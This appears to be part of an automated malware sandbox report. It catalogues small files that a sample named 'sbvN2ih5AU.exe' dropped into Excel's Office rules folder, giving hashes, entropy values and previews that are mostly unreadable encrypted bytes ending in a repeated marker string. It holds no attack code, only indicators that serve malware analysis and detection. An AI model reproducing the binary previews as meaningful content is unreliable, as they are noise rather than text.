Preview:	<?xml..~u-./1...../...P^...i\H..D..i.\|...&eV%.s...Os.+....t.\...h....[..X..[...d.).'ML.... 1..f\G..%L.&.n.x..I).s.Wk ]...l..m..>-.vx.=...J.K...M.j.n..Y...Y.._.._..}..e!...].}B.k.wt......f..:cNv....q\|.....m\|}.V....<5..O...mD.ej...t..#3.....`..s..4....d...@..H.&...Y...&.;.L.........=..4]...i..G=.Z/:......e....U.%.........wW.s..}..I.+..H....Z.c......0..k.i'........Rc.J!h...t.<'%S.h....1..c.Gy.%.1..OF_.c..9+..p.8.3......[Tr.P.......\..c......vm.=.p..RK....@.sk.h.P..O...{jd.....M.....LY..!?P.9l.....]7..Q...A}...`...?..x.T....?.{.\...z.Z:... O...eO..w...;......@....`.k.."..o&H.\D.l55.._.B...D..c5......h....e...."l..2.Uz.....7.s......B..v..'....t..3l..,..z...d9-_.RNv...3.].H..*Ait..[8^...0JH.....7v1.#.C9\.QJ..:.kL....EG...@%.....4U..K.1>....(V.2...q.3.Wc..vU.+K..S...gZ...g....FJ9.4=5..X.....#.....:&.x.....s.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.710291277524234
Encrypted:	false
SSDEEP:	12:w4Zf/4KiNWg8Ji/je/ONs+tBjnsV66APIbqAqWSUdNcii9a:w4t/4Gpibe2Ns+tB4V6BPIWBV2bD
MD5:	9313E1AEFD9DEA6B70744B834F0F0E32
SHA1:	6906C96F77842449ABBDEDFF91D1AF989451A3ED
SHA-256:	AA53EE5D800AF70E718EBDBBBCC2006D922D97CCC123D3BFB5BCAE005102CCC7
SHA-512:	7D5A378050A29265D9FAEE8CEEDF80184B9B6EFF262A172769F0872D9DD5DEE8C145D0E17AADC53BF36D9266DCC51D37055567CC177F4752461C705DA6FE2A75
Malicious:	false
Preview:	<?xml..aId..;..-_...5.<.....g.WM.....`.U.L..}........A.?.\J...#.7."....8.F...h..Q-.p..4.HD..27..E/.O.m\.fIm..N..`.}.'.4X3&........C4`A.O....c..)=./.....2L6.\izS....9....)]...d@.xM.i...--.a..R6 S...+....m...p[....#..eV...[.....H..=......4?K..1x..Q.'u8I......I........J.;.A....Nx..[5..a>....\|.@...l....c.........T....2].)4no...G".x..A...v.>'3.kk.Z..0..C.K....<.g..k~..T.b?..U...KV.G(..9.....WY.......m..d..).K.$...0......x...$t.."....M^...:.;.1Qo..*0%.L.3.^$.=..."........3{..".........-....r.5.N.e4!..z..!NX.>.M$4..Q........X....#A..a.......j}H`..Fq....P{..l..R..l......@.....9....nM#..#.^..M.....".2_F..'.M...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.806652192807133
Encrypted:	false
SSDEEP:	24:mXpT78XIPZdsxXekVOU3u1zeco98+T2gFqqK3CFy5CN0NY812bD:WpT7vPZdoeg3uY78+Jqq3FysmNkD
MD5:	8B4014AEEE880D152775B2F24C4C58EE
SHA1:	5CBB3B35B2BFEDC47A5FD723ED4B6BC9F80F167B
SHA-256:	41DC9053BE507857DA154EC83458BCD791476FF8AB1073F0B12EAD81BAEA8251
SHA-512:	0556E171C9319137C61CA8F5E1A6B9376A25FA45400D52A364801C9CBD3FA01D51F9D3B14978D1B2E5747B4BDF20FC3E933549AB03CCAA5C09F9D2EFCBCB9E4F
Malicious:	false
Preview:	<?xml;2...1..W...odAp.qg.z`....\T].!.6......M.,..q..n..W.P.\|k...2..(.$...+.4f~.l)GDCLy5...d96M.N........>.M'...mP......[...x.o.....,.Vj.z..5n;....b.......%.->.r..L..@X,..J..A..,..{k.z... ...f.}...N..EM..l.{.&0..-......G..a}.Z..j8...]AT.......n.....9%.,p.>..&m.....$$l.R..V..[..-...... \|..G.7....K......%....}I8i..}.3=RB..u...<.....8..hn..p..J\|..).GJ..E.?V.R.J.g..3....?[.b.q.....I.,...^.)H]r.w..>a...$Y.n~....T..C.kz.]x..W:~....$......B+..(.%..i...+J.6..\|..IDe=.wd..3..8..Ix....W..W;,..Y...f....(g^.\A=...nP...\.C.+.a..t.HP..,=.? .3N.&..a.?.8.V.e...Kne.Z.H....".q..,.....H.......fT....%<.v.x....C.A.-.&....D?[k.....v..#..!.:.n.T....+...^.\....3.C..........'."=B..........#..=.#.yp...9`p..e..J.xJ.\|p~...7Y......1.g:.{...5.W.HF..8.=......ZT.P.w..yQ.q..dK.E.G.\........./fyJ..0.t...w..[.1.-....0....n...S.v.x^:.^..7.m.w.%7.tJ..^.q..X =.=H.p..!z.....'.....2.)....'.....60........(.....a...S.@.A.K.....L.B%..#.8.....0.. .7.....X...q..+..l....J......8J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.762982376361097
Encrypted:	false
SSDEEP:	24:e9ZCxmwCMbikkh2Qy8l3OH5VCk1jrpe1mpZWjtt2bD:e9ZCXjiHsQBl3OHvCi9BpD
MD5:	EDFF56165FDA53BB565F70577A03D3C5
SHA1:	EF60DECDAAA4DA2A502CBB32AD04A6A4686C1691
SHA-256:	61A61F7F97604788D1175744C6E15808D306C069B076B4FF9796404F46DB4AAA
SHA-512:	378B7A293A9D27DC5B7BFC7F0F1AF0590FE5CC4EE5C308D6C46AAFDD33D917F348A7AD6CD72A1EB21753E28DD02DC386A490AC550C7342757E2A8E72F8BA82E4
Malicious:	false
Preview:	<?xml...@....p.V@....^.a..D....-.;.l~.;.b...6..MT.."Y.1.U..Z...j..V...s.. }2u..8..{f.FJh........X.(rHk...7.F..Q..1\|N...(...7."...o.D_..f.c..q..<..l..C......Zc.....%0....w..\..?yM.....O.k.......h_...{.......GO.z^...)....eIwx......O>..cK.h.-.W.hP.L.Th.b.....0o.6]d..b...b.z.}......p..n~[...j.$...!jfK..5lEW.}.[j....6.\|..V.z4.u^.....z.s.1.Sj.......&&.[.+'..d...R...!Z......h.fo.V...C.R....bm...5:".P.2=_E......7.........z.T.`%..a[.7..I!0u.e...P.g......=....o...:.m.....r..2.i!.0...x........j....H..=..l.o0z..\|....Y(.]5(.)......o..[...t.et..=.s.....F.....V.v...g..cjX(..X]V..U..{k.~w.o...:.=..F0...D.Q....f9.1+!..o3Z.Y...[n{5.#.......!.O......hNb.:x.>.(.U...\4..PF.^.R8fR!1o..}..h.).{.X....38kM^...3G.....gt.s \.z.....FR5\|...7l...nU...t.....Y..y....hi..}...R..:.....a..b...E.6.h..L..;..Z..m%6...{d#.P[.Hd\.Q.u...8XoG0Z.~.%...d\.l4....l.%...'s@..._........~w.f...w..x...'}(.[....s6=..;bB....F..\.'.jq. m......e.=.P...~gg4...>.t......?[f..mMsRxMUuXypapZbGOAfxD9pczHmW8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.759431994107421
Encrypted:	false
SSDEEP:	24:ozHXH1xTLP1fC+fH7r0kYG11JtYoC+2bD:cHFdQ+fbdJdCD
MD5:	F14F891C085EAEBBAA8CD269ADFCDF85
SHA1:	C2480997C8B98AD8B1A1C9AA2CBF9B20C1238255
SHA-256:	342167DB66B3A5472B2988DE57F9F85A0431371B0B7EBC4228C82567AC93B528
SHA-512:	217799F5411BEA97F55CFBBFEE49AC580E52BB39382615E7617CF9A3E42936C4A2C282CBFC16309F9B38B53071EF3AFF4305217E1C07FB7B118093B4DFE502BE
Malicious:	false
Preview:	<?xmliT..7O.D.......(....md.=.@....A..?f..O...D.v.I....P.....Mz4....7.+...x......a[.2....`<f..\A.........<v...?.....y@...!\r#D.....,.kAG...\|..).cx...`d[.c.[....U..<.b.. .Z....Y.\|E..x9;.2.....K...#.`.2m..a....z..o<...&"...$...E..`..oJ...x.......55..=.....F$.Ql.. ..m.,...T$.+......./.......k.b.D.p...P..f...}x.(J...[..S.....]..'0.#Tb.p.;Mc.X..d......Q.+..^..w`/.Z.\<...+...x...:=.Wo^;.8.i..N.]b{..3Z....&......;.f..5I..q.....D.....);.y{..,.n............OA.ZeB[...]..2..."........m.Of..d.;.`<.i..hR.X......5.u...L9~...fM/h..Z...P....m.%4..\|..].G..t2&.N;>.j..X.0.t.".-...v.o..<\Mc5.<@.~~.....Z.3.G!.1..,.Q......~.w\0ui3....{....T...,...z.T.....wc.J.....Y...6HNw.4e..z....2..d3.M4.{^......w.T.:<[.F.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320005v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	7.873525458489116
Encrypted:	false
SSDEEP:	24:RJypzf2KZeHuC6JAB9PE19pPbJAybCpWbuCsUPzLxr7klbwywGd/zgYtOM2bD:zzKg0KB9PE19pTJAArAALx/Oky1xzgYs
MD5:	EA115336D9E65529B389643D9B2EC7B2
SHA1:	7A6A4242B744D4167E252C92EE7B9D760903278D
SHA-256:	389A8846662365BF62C309B9841326F05452D11A2459E1CFBFB7AFD14F8C30D0
SHA-512:	050D320117FB66613D18B6A90AF703765D6DEEADE1A5B61FC73D671DDA1106A2256368E284D3041F0B5C5AC45F2F3DF2EF0D5E1A8D9D7711FBF2673B95760092
Malicious:	false
Preview:	<?xml...}.1..!;gb....rrTqs}...KJ9..D....yjg...LP3+l..J\|....f.{...s.9.l.NhSGY..qE.z................cU\|8....C...[4.<'....t...M..O.o...i...u..%....g.%.L".P..'...Kd...p...].Y.+ .!.RP...].}4..D...Qd.RM.}......".O .+\|=.tvW6....L^.a..l.....9.........I......5..N".....H..U..8b..d..#T0.S}..g..,...... J.9......?.@.Lv.%[....T......s...B5Z..b..P...z.~.<..B.\|.P..s......b......z...Kp.qo..j....V{y..9:.^./.0.O.hZ.o....%3...o.....r....x.v......r.......V..W.r.!...,=...........+.K?..R{.$..7... (a^.%.%..Ig1@.yd...D....`.-.9.N.t....+....E..4/:..".......<..8..!l.."..t=r...;.f+_g.]j..{&...${.7ly..D.2....o...[S.E...W.@2....:....+..j!.w.ej.....G.Io.F~..-`k.....P..X.?..8."v.T6..4....\.....~...,.......L.._....`0.....FK.^)c>......$;.9.G.\|~..(. ..CU.-.....n/..X.B..[~w1...,...$.t^..U&l.b..cWwJ.]i.'/.H..7B.7<...eo..N..l.i.v..n..I...8.,..1N..i..f.o....AS..4....).U..\|..~.....)X...........S.S:rx.`H.._\|H..jK..L..z.../..4U......FV.+....]......Sj.4.....<...& .:....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320006v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	7.8632881077824575
Encrypted:	false
SSDEEP:	24:gGPkf9BWEiVkHHgbDoV7420SN3Qh/FVQ8l7oFv+UW+7r8kzU82pIraEcvbfAcRxw:gGPkHWEimqcsIGrL2v+UWG8UU82GraEL
MD5:	79191864D9722C8D77A1BE9764036163
SHA1:	B3BCF70FA74C88E0210DA188BE5FFCA50C3C8B0A
SHA-256:	89BF1913AD420AC14278C271DAB2AAA5D2E1613287ED74E8977FA3603F596C47
SHA-512:	BDFFDE3739F4B41EEC6C88124752CCF266A7048D714EB2631E8F25B15898B820708550E75D2C5B55691CF4E6E5B7EE03D8B9EE67546F179F16A32E0E16ACFA88
Malicious:	false
Preview:	<?xml].W....IJ.c.~.m.A.,..T.a.:.i..K.....F.t...u..Q.y.4d.....!e..p..i~.+...{&....{@..g..bC....Y...\..0.11X...S.{.+...M9..5%......P..h%..P$...C.a.UY.d.H..r....a.J1u -....gm .U.]....m.8.N.6$.VH...$....]...3..:=4..&V.Y..Q...79......_d..B.{tw..q%........@Ud1......w>.s...p.g.+ .$.s...c=.....(3...H.3...[.u..>5#.rY..V`..._yf....b#..8..../....c.8U.V} .\M.Iro.9.a...g.{.^.K.V.]....h..,}..lt...4.....P.T.w....TbC...i:....eJ..K!..Q..D-.$R?d..j...t..f...B..A..A_..........jA..k....9I.e...O......@....]1k....8..7.......6.2.[.%Ht..Hj&i^...3.6...............X........xC..rL........1.O..N.W..U.....g..$...o.>4#.r.-4.......H..<..:84._]\|.6.KRS.:......2.OK..........4R....7.O.W..9{.CK ...{..agf.U.+..U.u.S....n]m..:g..."..1..B.<j.8..~..C\|.E/c_`b.I>..9R..9..zY..>.y..U}.....j=.r).......>..7..+.I......qn....t..c..mh..-.R.\..]9.om...8..O.53.Z.n%.^c.....4.G.....k.0QK.:..>v>:.3...h:.E...`3.MA..A.6....@.d*..fI7....T.S.?..KW.sU.i<.[.r..(.t........G.vP(L[b...!..B..g.b......e..(/..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320007v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.847512991006002
Encrypted:	false
SSDEEP:	24:Q9Hjcn63nva5eX7jGBecC4ynfNOaxWBdVBrx19Ms1wgKwijjJMRhPe2bD:Q6Qnvsg1ddnlRqdVBrH9SgKwijuRrD
MD5:	71F881EA34628DCAF194570807556A73
SHA1:	9656023F798D4ED4E14797CF118561B9C270B1EA
SHA-256:	D6FDDE09F5830B615E662AC0FAB1330485E4E3B4A6A52C2867643470603A0C6A
SHA-512:	5BB136176D18643055ACC8457A9E0507CCE1E84F4D727E6A44A446EE30F631B8EC92D6209155B72D026F6B88D3470B1C12C79623727E33FF2EF7156999D24F84
Malicious:	false
Preview:	<?xmlm$.ld.1....T.\.L.E.K...(.....FW..M.`.n....h.....t.n3\......m~........:..xf.....^Vd{.X..S-KqV..fih.kU..UB^..O..+....9. R......J.@M.:$_2Q..g.%6P}).f......N^.p91 +.i........;n....%gk#......W.w..R..v.]=..U.L.k..g..^.,.....QsK.j...T.......Q.M..:......l.<....w.$.>.d..#w....l...";h.ty+M.........i..!w..Akp.hx.A.'5..1z..... .........L/.Q..N..D...........&..z@..X...+.........q. .n...$3p....y......S..9.....I.......A.ES....y?..0.Lv.wH....qc0X9......A2e+.....C_:.-kaG`...#.....pVB.c...,..\|H.<..Cy...K]Yv.q....!...>..(.w5...%(..{;.I.nf......e..d.K0w.U......M..:"'.b..=..R..R ..V2...0n...9......}p.)....1Q..=.I..S..%...R.......2.....jl....1-7._..s...^6...q..r.@./.(B^.x5..psa....P&..c..Y..NF..b`..I.P.v@....P(..j.c.....1 ...3....K.X.().0..8"...i.A....x.%..e.....3 .HfR...A1d.\<g....Z8~&.Y.9m..3/.+b.cg..+...4...i.^.2#cx9.....r+.Qd....'.QhYo]..6.5..5...^.{.\|G.".C.~..g^m.k.ioH..6..E&w7....2...a.3.`.-o.wc[\|.....)g..q.........Z{}.FTZ.6x......7..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320009v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.753415223812716
Encrypted:	false
SSDEEP:	12:0X928OAzLNgrn5nTh4X1dsu75NiGn89bWzMqqEfCTSd7BctU/WFSUdNcii9a:q923s5e5T+X1db90TSd7B6o2bD
MD5:	8EFA609B114D3E6E0075CE95D467325B
SHA1:	12584A595FE4CD9951D97A549C3E62890970CEE9
SHA-256:	DA799B704476DBE931605D8A70648EBCDFC15F4D04091AECDEF89F6774525825
SHA-512:	383A765444ACCCF98DF034247C7D292CC8D176F4905CB8FC29BD713B445CDBA7C6E77B704529CFA6EBEEAD03F0BBA6C248930BFB3CB6297EC3B8059EB99B5065
Malicious:	false
Preview:	<?xml.mS.'....].....y...2..;).$.....'.0.P.7P......w..............l.3D.?.........~...f.Z..i..,..5...Dl..J.!dI..1..[z.R..2.7.....].@....0.$./.....d.B.2........8-......R.^..R..]..e.U.{WR.{......R.].tv.O...J.&.`.".9.8....6..D]..?9 .g!.....5u..D..d.s'.<....x...W%.A......[1m..c.W.r...}..Lyg/.Q.3...<.0.......=.....^.jk.....7Ar.......9p.qFj.3.Yia.R...[.FM..FV).Q..`....(.:$...z..7.....l.\|..'.$...D.n.....`......_P.K....K......N.K..4.fm\|...O..l...'...\|.X...@..B....R..5$...(L.3;l....[......(...B..!X.(.$..y5P....q.h4..S....e.t...;lL+....O.H...Rv.[!.p...3.+.CM...k..GR.8:.......5.k...2.....m...........Fm.=.v...,u.r.S..)G..V.TcY......4z>...Z.>...xY..I.3..y.z.jL .V...)..[.>@.aGB.c@iQ.7......=q5...E........L...ZD....Xi..!%z.5........#...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320016v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	901
Entropy (8bit):	7.770116729549671
Encrypted:	false
SSDEEP:	24:iW+BUqKplEtagOs49B4o2a1/7A5f3fvjvdsrRWySY2bD:iWffyQB4o2a1/78nvyRSLD
MD5:	5242C58D49930493AC7EFEA90247F72A
SHA1:	807BB459DB9AD7A5034E18CFE3076FA72C591EB7
SHA-256:	DD18FE52F8180570CA4BB69CB78C604C1E873DBC98046F1AE47DDD83B5E983A9
SHA-512:	59D49AF1623DF74F3AABDFB7A76DF4EDFC920F3C037940366A324B135F736D252258F1EC51BCBA23F47DEED26FA4FE5A82EA264B345F1A7800742F988695123D
Malicious:	false
Preview:	<?xml........@y..ey-M.3.....W...?....1G?.ih-~..F..5."...y..m.K..r.3..Da.'.z..a.".3.S.R.....I...It.d....b.-..5L.2..)..#@.phQ....6...K...)...f.VTt...o}M.s.7,.5.@......+....a.W8.........o.5\|XW..-....&$.ke.......9...V....k.iV.c.H....n...h<.yj.\oE.......?......m.o08.2..}s..&.."..~.\|.:..d.H..#0...j#...k\..o...#..V.:...\|R>.-.>....P.7`..M..V.L.1+...gD..c.~...u'h...7..r.k....J...*.C..S.....O.57.'m1=..-...^..../WP..;;sH.......I.:...[.....9....i.....8...I...6.....e..kq)q..../..g......D[(.M.)..^......g..a.....W....(.)....Y..HU<.h@..Xbdnn....vaB.{b.P\|M......C....j.tg#....\|..P....._6`.?..F.aA..&..yjQ..7..x<o....vxVSC..\|Yc7.?...jp.=...........a..;...Y..$b..R.a}.}.i.........0v.aE..s.K..f.?.V.;....> .b-.y.......aN/.....1..\\:.....d....RG..+ ....s."...(.....y]$&:..!+].oj.C.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320021v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.76623919617986
Encrypted:	false
SSDEEP:	24:HLN3qVtMpnXv+r/3GfAxvFUYF/lKXFhoGrbIBLh9S2bD:HxziyElKXT3OD
MD5:	D3FDEF691185E3D226217B9761821B1D
SHA1:	614287991B76A2251B5C8EDC8A55D53901BEC914
SHA-256:	52F7C116EE348D2C7D3A3A9E49C3D06AE9B408F27DC0EF301A42584208C36A64
SHA-512:	03EBFF025799355D8326BD9BF72C9F995CAFEF40F3836EAA80C67576709D452E9828FCB1202E0AA53F9426C7F02E464C9C92CED68177C04FB0BA94AE9C358D2E
Malicious:	false
Preview:	<?xml...c...0....3B..3........8...1.mf.C...~.....gh.`..a..A.c.J.e`..^........c..Q...Gz.....<.%..J4.....dU.(,.w...,...MY6mC!~.\.%B......j.#r..."u).(... .e\|.......,....8.u..5>...........$`1~m.'.F....em9.....QB.Ib.D..L.~..C....l..a.L...p....%..e=$.i..yT....\.....u..n.6...%-....c..;3j....6[...\|0..#...j.....vdYk....wH...Q1hU.@.3J...,.....eU...YQ....R=7b._...'.s.}........X;1$.....S/.L..2g...z...j..;.......e....g.av{..]<.....z&..n......!...7...U.m..#...f1...y.a.5{.. kl./}....xP.=..5...F...5L...[.g..I.P....b`G....yb....'.B........J....$........!..`.^$<..........."L._lB..,.y.eS.Y....%..'!Ry.o.>g...L\|,..cz.....5n../...]...s.T.9D1.8%.....1.....+.9......Ee....b(...+h.G.& .M.m...V_.....8.R.t.k.........N.x....$.=F....}...;.1..D..?.*.Jk.Z.i.^.W..XmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320022v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.722470061096419
Encrypted:	false
SSDEEP:	12:hs6jIQbzHXtfjRnA+c13I/acIG00FqqIJuAzsr0js52srm5ezSUdNcii9a:hs6jHbbXhja13I/ZIG00FguAs9Qze+2X
MD5:	D3D0471BDC548F3FAADB9809A6B54C49
SHA1:	667EF35744CDEFFD73421A66DB94D856035853CC
SHA-256:	CF923159CADDE34E23CD3F2F4B8EA547B1382EEDD2391670D70DF73F9AD19220
SHA-512:	4FE6D5B0D524A5103A4DBB1AD69959D05122CB911C764C36D8D623909E02BD7EAD18411D6ABC3C6EFF0BF5E8ECEEB57EF0BBD757D3BDFB601BD0BA0F01EFA608
Malicious:	false
Preview:	<?xml...SF.nk....C.+Q2.Qy....Y....L.`^k..[._....3.%..~X......E{z>.?a]oN)..Q.81...iE..$......d.c .@.0...P...2...3..?.g.N....;..4......svxF..\....G..+....f(uW.Z.m.[5.jU5...%........('.N .p.:ibFA.ds.!d.1..a.7..../....];5.`.....[zM~..HwH8XL.0s..T4.9........p.a....l..O.....z.......#.J[..~.g...h..'.r3."/>~h.O?~..Z.Oh.`)...+.S.......%.?.!.0IL.......x..z;..l.cL.d.J.k.-.Y".}..^.=.V..t.n.5,.UV./..d...](.D?K..z....%]............V2U.hM..t....1,.. C...!...Y..hWt........@^.Zk...:.n(..&6.f..ER.} D:...q.iw..p...{.z.].........l..H....D.....&.,x>r.>@@...pKK.p.(.Q...S.u.(...r.2.S.OH..\.C./C...L7..B8D.$.*JT.-1...O$..#.8P.H...8.k-..8.l.>. .G.`.6.z......{..RmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320029v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	7.786000499320267
Encrypted:	false
SSDEEP:	24:HVikE8V9pD/fmRu9aZlBfpBTIf8s2Kt+RV9hAf1iSEjV2bD:HVikEUze6MpB8fTIRV9hAf1iS5D
MD5:	7F5E408CED4F1CA623BC85A7CC28AA21
SHA1:	2C857F2EF98ECF0644BF48276E543F46F1640836
SHA-256:	F219D2778C256A424BCF4DF1E390EA322DB2DB469BF890AE55306A3CC705534E
SHA-512:	CA1DF1E031359BB7BFB0842C9F5890BEB5F7701B2960A1187BAA55896CC2DC656015AE6BA99EE83304E2CA4570E1D74CF30CF8A6F04EDC226D3FDDBD52466D7D
Malicious:	false
Preview:	<?xml...]P...O.....@.pjq;l.).~....._..>\|".....m.I.+.&5...Q..Ymdu........v...>.....,..u.A.[/..........:Vg..z..w.oD... .....>.y..d1.."a.Z~.K..3&$....&.I... .c\.z.....J+.w..l...,Lru....z.z....N..U.G.Y.x...Y..M.l.-.N...<`.{.@8...tkD...RM..xH$...(........".h....T..4l55..i.eQId..i.^&.....{......M..O......y..T.....p... ..9.w. .L9...r9....z.h?7.j..%...kg...ESi...<...V.j..Rw....C`.N...J..E+g.s.f.Q._..t...8......i........3...._.?.a.....v..k.........0.,...q....".>Z..F..Q.......y.q.oY...VV3.f]\.C...6...$W....@Q+...t..uY.............p[.o'.....u(..&6R.^z2.'r.A..`.{(.23c.&J..won..GZ.y.s..>..o...D.........v.6..I\|u.K..O7.t..B8^.)G....ou`...`.o6..k....!..o.t......v.#.~}.w....]b.m.3.Y..O.I.z..E..W....x........P.?.h.ty.:Ak6o......#.y'.(..i{...B........Zg..n^..V..>.[t../.v.o.8!.2\|G.....uK.......3.5.h...#..nz....[R}FZ)(...8...@.K.V..h.{p.x..."[...S..3.!.AN...Ko.Y....P...$..#F...5....2....v...Y...{.u2..i~.]...V1....W.Ef.S...t*.v>...8. Ec1m..A..Z....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320032v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	7.802868864273257
Encrypted:	false
SSDEEP:	24:a6te56Bz0qQZlo3FgyQe2m9aCukYmeR6lUBnsdQDqcqP+BOnV2bD:M56B2Mgyn2JCKRR6Cst/NnuD
MD5:	76001C9F4E16762C3CC71B8EC8CE59F9
SHA1:	54CE2E0C202344B8777FE1A4BFCE9221FD6FB69F
SHA-256:	85659E669B84A2BC35B4E22E936BD2C14A13164B968C08FC0E6DDAA1E587A1E8
SHA-512:	2F9C493BDEEA31BB25DBC1895435F6845B8C4744F87CE2460FED11E64E7384920E2CFF8B7F9960C94CFD131B4A8DD533EC0DDAB77E106E5DA9F597880DB2EFE4
Malicious:	false
Preview:	<?xml...bF.n.W{.j.B...........l..n).....z.Nn<...j<.V...M...l.-..\|ps....M.8..,Z^....4......D..&J.+P...i.0.. &..L.FS\y..R....I.~^...S.$I.V....I..H,4Y...Obf.....S.#f.....T...w@..#....E..M......4..L..,Im.N.p.M/..#...w.....F.v+.Mz.Pjm.....%.)..G......X...xyWw.u..T..[.@..!L.'.......Pt._......?U..q...........(...%_..fN.H....u.M(....j......L...\|.;.U..l...5..-.EV..p.:D.4[.-.z.)DH[8U..t.h!.6........./.....8..0.`_...Xs...H...I...g."U]../...).......kO....4;....#Oa.\..\|..\|...\.n.m.Xo....X;...a>.-."....h..bC....._...z-...wRW.{.9....Kp....t...>.(.B.....4E...9^c....X.,..'a.....ORl.I..e .$......-c....#{(..-y)..vs.....V...v."..... gj..(.&31r3).......zc2.._.L]]_....n...p+.../..4.j...R.=5FG.9Q.}.G..`..B........\|.7.9.L.`D..l^.ES....R....W.`N~../....U1..Ms.+..O.......8tP*.mw..4...XW....].......P..%.6..y.......)F....c....R.b.E..-C+?..T.+..>s.N_.........&..oN..oc.V...\|n..$w7..2..^$....?...2^0..Ui.["...].VmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320033v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	7.821731030117116
Encrypted:	false
SSDEEP:	24:d3/YNQPUBJuwpfq9xwi/uyPlg/N6PCwYBqSldwjnHK2bD:d3/YNQPUruwpfI/uWBJSkhD
MD5:	36AF37A5740C609FDC687A95D7DA3E12
SHA1:	D82BBB19215C8BF778D359776F23EDCA6154B8AA
SHA-256:	157A71AC501A45E3AD322F36B2C12C95A78333FA07836C33B8CFC9F15E308CA4
SHA-512:	E99A1F7201D9CCC6CEB56F04CC28570F864818EF8CFD0614477EFD040D15CAA230705DEFBBBABFCC1CB2DAB1BD2EC7D1CEEEB97CD733FAA634BF830C75839A03
Malicious:	false
Preview:	<?xml...8.%..?kQ\|.F.j........ .).&W}.V..~p..)...".y>...../j..z.=) Wv"p.......O..6k.".....<.}....Z...Y.<`....U.V.lpvM...q..+.......:1....Q.at.p!.Q}....t..~..&....Dy.$.(U'.8...........fd.}...;BS..K...OD..8.[....<..f.X0... .v..k.H..ys.U.:.&U............J.G._._.W}......_..A.-..X.e.>.U....2...c(A_.]"w......R...ISi\..5{..P..k.j9.....!....sn.C(..6.....y.._....q.........K.W....!I`.UG...'..H....F."..9g.}...% .`.?..v..Q...;...X)..B...-.`...}...I...t.\|~..s.9..v.\|z.....L\|.+9...a.,..y..x...y..(.7.9...H.OX...>,z...7.u.[..^..M..C......:....z..T.......qJ...^<-..[Ijf#u8!..`.i.\...z.i...........HC\|/e.@.s.%^E.P.}.4...[..l.p...?.^.X!..*!...I..3..+..G.{V...zuX...Tf.....,#M.......\|.j&......ei.. .n2.W...D.E.i.A.\|`..\|e....~../q4..n5.W>....m........g...:(.L..[I..M.......O...qE..8....6......&.XF........r.}.5.s....pt..(..(...&h 